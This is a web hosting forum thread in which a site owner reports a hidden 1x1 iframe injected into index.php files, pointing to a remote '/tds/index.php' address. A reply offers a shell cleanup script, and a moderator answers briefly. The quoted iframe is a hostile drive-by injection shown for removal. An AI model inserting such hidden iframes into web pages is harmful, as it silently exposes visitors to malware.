Results 1 to 3 of 3

Thread: Security issue

  1. #1
    sewetrev is offline Member
    Join Date
    Feb 2009
    Posts
    32

    Default Security issue

    I seem to have someone adding iframes to the end of my index.php files, for example:

    HTML Code:
    <iframe width=1 height=1 border=0 frameborder=0 src='http://xxx.xxx.xxx.xxx/tds/index.php'></iframe>
    this happened previously on a number of sites and i was told that i needed to change all the ftp passwords which i did. and was assured it had been deleted.

    please can you advise asap because i have clients sites with errors stating "malware threat" and they aren't happy.

  2. #2
    Gallier's Avatar
    Gallier is offline Junior Member
    Join Date
    Sep 2009
    Posts
    21

    Default

    You and your clients need to remove TROJAN (use antivirus ), then to change FTP passwords

    and

    create file fix.sh with:

    #!/bin/sh

    for f in `find . -type f -exec egrep -q xxx.xxx.xxx.xxx {} \; -print`; do
    echo $f
    sed -i "" -e "s|<iframe width=1 height=1 border=0 frameborder=0 src='http://xxx.xxx.xxx.xxx/tds/index.php'></iframe>||g" $f
    done
    put fix.sh in main directory (like /home/www/[fix.sh]/user_site)

    chmod +x fix.sh
    and run (/home/www/fix.sh)

    try it
    Make your website the fastest one - Web Optimizer* web.stakh.com

  3. #3
    eUK-Alan is offline Moderator
    Join Date
    Jul 2008
    Posts
    176

    Default

    Hello

    I have updated your support request including necessary tweaks to be implemented on wordpress site. Please let us know if you need further assistance.
    Alan V
    VPS Support Team
    http://www.eukhost.com

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •